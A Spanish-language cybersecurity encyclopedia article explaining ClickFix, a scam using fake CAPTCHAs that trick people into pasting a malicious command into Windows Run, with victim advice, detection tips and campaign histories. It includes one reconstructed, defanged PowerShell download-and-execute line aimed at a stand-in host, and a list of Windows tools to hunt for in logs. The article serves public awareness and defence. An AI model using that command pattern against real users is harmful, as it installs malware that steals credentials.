--- id: CP-011 slug: clickfix-captchas-falsos lang: es title: ClickFix y los captchas falsos description: Una falsa verificación «No soy un robot» le hace pegar un comando en Windows+R. Cómo funciona ClickFix y qué hacer. canonical_url: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ markdown_url: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos.md publisher: Brain (https://startbrain.io) license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) cite_as: Brain, «ClickFix y los captchas falsos», Cyberpedia, 2026. https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ (CC BY 4.0) wing: 1 theme: detect_phishing reflex: cr-001 schema: G1 updated: "2026-10-26" translations: es: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ fr: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ en: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ de: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ it: https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/ sources: - "n": 1 title: "User Execution: Malicious Copy and Paste (T1204.004)" publisher: MITRE ATT&CK url: https://attack.mitre.org/techniques/T1204/004/ published: "2025-03-18" accessed: "2026-10-26" - "n": 2 title: "From Clipboard to Compromise: A PowerShell Self-Pwn" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn published: "2024-06-17" accessed: "2026-10-26" - "n": 3 title: Panorama de la cybermenace 2025 publisher: ANSSI url: https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf published: "2026-03-11" accessed: "2026-10-26" - "n": 4 title: Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025 publisher: ESET (WeLiveSecurity) url: https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ published: "2025-06-26" accessed: "2026-10-26" - "n": 5 title: COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs publisher: Google Threat Intelligence Group url: https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos published: "2025-05-07" accessed: "2026-10-26" - "n": 6 title: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ published: "2025-08-21" accessed: "2026-10-26" - "n": 7 title: "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape published: "2024-11-18" accessed: "2026-10-26" - "n": 8 title: Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations publisher: CISA et FBI url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b published: "2025-05-21" accessed: "2026-10-26" - "n": 9 title: Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ published: "2025-03-13" accessed: "2026-10-26" - "n": 10 title: "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?" publisher: Cybermalveillance.gouv.fr url: https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares published: "2025-06-03" accessed: "2026-10-26" --- # ClickFix y los captchas falsos ClickFix es una técnica de ingeniería social que consigue que la propia víctima instale un software malicioso. Una página web o un archivo adjunto muestra un falso error o una falsa verificación «No soy un robot» y, a continuación, unas instrucciones: abrir una ventana de comandos de Windows, pegar y confirmar. La página ya ha colocado un comando en el portapapeles, y es ese comando el que la víctima ejecuta sin haberlo leído [1]. Proofpoint observó el método desde marzo de 2024. El nombre procede de una serie de falsas alertas de actualización del navegador, detectada a mediados de abril de 2024, que unos investigadores bautizaron como ClickFix [2]. Desde el otoño de 2024, los cibercriminales multiplican estas campañas, señala la ANSSI [3]. Según ESET, ClickFix creció más de un 500 % entre el segundo semestre de 2024 y el primero de 2025, hasta convertirse en el segundo vector de ataque después del phishing [4]. ## En 30 segundos - Dónde ocurre: en páginas web, a menudo un sitio conocido que ha sido pirateado, y en archivos adjuntos que imitan un documento de Word. - Lo que quiere el atacante: que usted mismo ejecute un comando que instale en su equipo un ladrón de contraseñas o un acceso remoto. - El reflejo: ninguna verificación legítima le pide pegar algo en la ventana Ejecutar, en PowerShell o en el Terminal. Si una página se lo pide, ciérrela. - Si ya lo ha hecho: desconecte el cable de red o apague el wifi, deje el ordenador encendido y llame de inmediato al soporte informático. ## Preguntas directas ### ¿Puede un captcha de verdad pedirme que pulse Windows+R? No. Un captcha se resuelve dentro de la página: una casilla que marcar, imágenes que elegir, a veces nada en absoluto. Google aconseja desconfiar de cualquier sitio que le pida salir del navegador para ejecutar comandos en su dispositivo [5]. ### He pegado el comando, pero no he pulsado Intro. ¿Estoy infectado? Depende de la ventana. En la ventana Ejecutar no se lanza nada hasta que se pulsa Intro [2]: ciérrela sin confirmar. En PowerShell o en el Terminal, un pegado puede ejecutarse solo. En la consola de PowerShell, un simple clic derecho pega el comando y lo ejecuta [2], y Microsoft aconseja configurar el Terminal para que avise cuando el texto pegado tiene varias líneas [6]. En cualquier caso, avise al soporte informático: su equipo quizá esté afectado, y la página que le pidió ese gesto sigue siendo una trampa para sus compañeros. ### ¿Por qué el antivirus no siempre bloquea el ataque? Porque es usted quien ejecuta el comando, con una herramienta que proporciona Windows y sin ningún archivo que analizar al principio. Según Proofpoint, los antivirus y las herramientas de detección instaladas en los equipos tienen dificultades para inspeccionar el contenido del portapapeles: por eso hay que bloquear la página trampa antes de que se muestre [2]. Microsoft estima que una campaña ClickFix puede así eludir las protecciones automáticas clásicas [6]. ## En la piel del atacante Un archivo ejecutable enviado por correo electrónico o descargado de la web pasa por varios controles antes de poder abrirse. ClickFix los evita encargando el gesto peligroso a la víctima: ya no hay archivo, solo una línea de texto que pegar [1]. Montar la operación exige pocos conocimientos. A mediados de septiembre de 2024, un investigador publicó en GitHub, «for educational purposes», un kit de código abierto de reCAPTCHA falso, y Proofpoint lo encontró en correos maliciosos unos días después [7]. Desde finales de 2024, Microsoft ve a vendedores que ofrecen en foros de piratas generadores de ClickFix, apodados «Win + R», con páginas que imitan, entre otras, a Cloudflare. La suscripción cuesta entre 200 y 1500 dólares al mes. Una pieza suelta, como el código fuente, la página de inicio o la línea de comandos, se vende entre 200 y 500 dólares [6]. El clic en «verificar» activa un script que copia el comando en el portapapeles, en segundo plano [6]. Ese comando suele terminar con un falso texto de confirmación, del tipo «I am not a robot: CAPTCHA Verification UID» [6]. Proofpoint explica la función de ese falso mensaje al final del comando: una vez pegado el comando en la ventana Ejecutar, la víctima no ve el comando malicioso real [7]. El campo de esa ventana no admite más de 259 caracteres [6], y el comando pegado se limita por lo general a descargar el resto desde un servidor. PowerShell sigue siendo la herramienta de Windows más utilizada para ello [6]. ```text Lo que la página pone en el portapapeles (ejemplo reconstruido, dirección neutralizada): powershell -w h -c "iwr hxxps://ejemplo[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821 Lo que la víctima puede ver en la ventana Ejecutar (ilustración): el falso mensaje, no el comando. ...ex" # I am not a robot: CAPTCHA Verification UID: 4821 ``` ## Lo que ve en la pantalla El escenario típico: un captcha falso aparece antes de la página que quería ver, a menudo con el aspecto del reCAPTCHA de Google o del Turnstile de Cloudflare [6]. Usted hace clic y el captcha le da instrucciones: abrir la ventana Ejecutar con la tecla Windows y R, pegar con Ctrl+V y pulsar Intro. Es el escenario que describieron la CISA y el FBI en su alerta de mayo de 2025 sobre el ladrón de datos LummaC2 [8]. El decorado cambia según el objetivo. En marzo de 2024, unos correos incluían un archivo adjunto parecido a un documento de Word, con el mensaje «'Word Online' extension is not installed» y dos botones, «How to fix» y «Auto-fix» [2]. A partir de diciembre de 2024, una campaña apuntó al personal del sector hotelero imitando a Booking.com, con un captcha falso colocado sobre una copia apenas visible de una página de Booking.com [9]. No se fíe del decorado, que puede imitar fielmente a Cloudflare, Google o Booking.com. La señal que debe detenerle es la instrucción: una página web le pide salir del navegador para pegar algo en una ventana del sistema. En el programa de Brain, este gesto se vincula con el reflejo «Identificar las señales de manipulación en el cuerpo del correo electrónico». Aquí, la señal de manipulación es la propia secuencia de instrucciones, tanto por correo como en la web. Si ha confirmado el comando, actúe en los minutos siguientes. Desconecte el cable de red o apague el wifi, pero no apague el ordenador: en su ficha dedicada a los ransomware, Cybermalveillance.gouv.fr recuerda que apagarlo puede borrar pruebas contenidas en la memoria y necesarias para la investigación [10]. Llame al soporte informático o al equipo de seguridad e indíqueles qué cuentas estaban abiertas en el equipo. LummaC2, uno de los programas instalados de este modo, se lleva credenciales financieras, carteras de criptomonedas, extensiones del navegador e información de doble autenticación [8]: son esas cuentas las que habrá que proteger primero. Sin servicio informático, la plataforma 17cyber.gouv.fr ofrece un itinerario de asistencia [10]. ## Bajo el capó La ventana Ejecutar pertenece al Explorador de Windows (explorer.exe), un componente en el que el sistema confía [6]. Cada comando lanzado con éxito desde esa ventana deja un rastro en la clave de registro RunMRU, que conserva el historial de lo escrito. Microsoft aconseja a los investigadores buscar ahí llamadas a powershell, mshta, rundll32, wscript, curl o wget, herramientas de Windows capaces de descargar o ejecutar código [6]. Sobre el lugar de PowerShell en los ataques en general, véase el artículo sobre la ejecución mediante intérprete de comandos. Microsoft recomienda desactivar la ventana Ejecutar mediante directiva de grupo para las personas que no la necesiten, activar el registro de bloques de script de PowerShell y limitar las aplicaciones autorizadas [6]. Google invita a las empresas a prohibir por defecto la ejecución de scripts por parte de los usuarios [5]. La CISA aconseja una lista de aplicaciones permitidas y cuentas separadas para la administración [8]. La técnica ya no apunta solo a Windows. En junio de 2025, una campaña ClickFix se dirigió a usuarios de macOS para instalar el ladrón de datos Atomic macOS Stealer [6], y ESET la describe como una amenaza para Windows, Linux y macOS [4]. ## Autopsias ### Marzo de 2024: TA571 y ClearFake El 1 de marzo de 2024, TA571, un distribuidor de correos maliciosos, envía más de 100 000 mensajes a miles de organizaciones con la falsa página de Word descrita más arriba. Según las campañas de primavera, el comando instala DarkGate, Matanbuchus o NetSupport [2]. Desde principios de abril, la campaña ClearFake inyecta falsas alertas en sitios legítimos pirateados. Proofpoint describe ahí una cadena en la que un solo script de PowerShell podía ejecutar cinco familias de software malicioso, entre ellas el ladrón de datos Lumma Stealer [2]. ### Septiembre de 2024: las falsas alertas de GitHub El 18 de septiembre de 2024, unos atacantes comentan o abren incidencias en repositorios de GitHub. Las notificaciones que GitHub envía a los desarrolladores se presentan como una alerta de seguridad y llevan a un sitio falso de GitHub con un reCAPTCHA falso. El comando instala Lumma Stealer, y Proofpoint cuenta al menos 300 organizaciones afectadas [7]. ### Diciembre de 2024: el sector hotelero, en la mira Microsoft sigue con el nombre Storm-1865 la campaña con la imagen de Booking.com. Apunta a empleados del sector hotelero en América del Norte, Oceanía, Asia y Europa, e instala, entre otros, XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot y NetSupport RAT [9]. ### 2025: los servicios de inteligencia se suman Google identificó LOSTKEYS, un programa que roba archivos, y lo atribuye al grupo COLDRIVER, también llamado Callisto o Star Blizzard. LOSTKEYS, observado en enero, marzo y abril de 2025, se entrega al final de una cadena que empieza con un captcha falso: la página copia un comando de PowerShell y pide ejecutarlo desde la ventana Ejecutar. Entre los objetivos recientes del grupo figuran asesores, actuales o antiguos, de gobiernos occidentales, periodistas y ONG [5]. Según la ANSSI, operadores de Callisto habrían utilizado también esta técnica en septiembre de 2025, en campañas dirigidas a miembros de la sociedad civil en Rusia y a ONG implicadas en Ucrania. La agencia indica además que tuvo conocimiento de al menos una campaña ClickFix [3]. ## Fuentes 1. MITRE ATT&CK, «User Execution: Malicious Copy and Paste (T1204.004)», 18 de marzo de 2025. https://attack.mitre.org/techniques/T1204/004/ (consultado el 26 de octubre de 2026) 2. Proofpoint, «From Clipboard to Compromise: A PowerShell Self-Pwn», 17 de junio de 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (consultado el 26 de octubre de 2026) 3. ANSSI, «Panorama de la cybermenace 2025», 11 de marzo de 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (consultado el 26 de octubre de 2026) 4. ESET (WeLiveSecurity), «Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025», 26 de junio de 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (consultado el 26 de octubre de 2026) 5. Google Threat Intelligence Group, «COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs», 7 de mayo de 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (consultado el 26 de octubre de 2026) 6. Microsoft Threat Intelligence, «Think before you Click(Fix): Analyzing the ClickFix social engineering technique», 21 de agosto de 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (consultado el 26 de octubre de 2026) 7. Proofpoint, «Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape», 18 de noviembre de 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (consultado el 26 de octubre de 2026) 8. CISA et FBI, «Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations», 21 de mayo de 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (consultado el 26 de octubre de 2026) 9. Microsoft Threat Intelligence, «Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware», 13 de marzo de 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (consultado el 26 de octubre de 2026) 10. Cybermalveillance.gouv.fr, «Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?», 3 de junio de 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (consultado el 26 de octubre de 2026) --- Fuente original: Cyberpedia, la enciclopedia pública de ciberseguridad e IA publicada por Brain. Versión canónica: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ Puede reutilizar este texto libremente bajo la licencia CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), siempre que cite «Brain, Cyberpedia» con un enlace a la dirección anterior.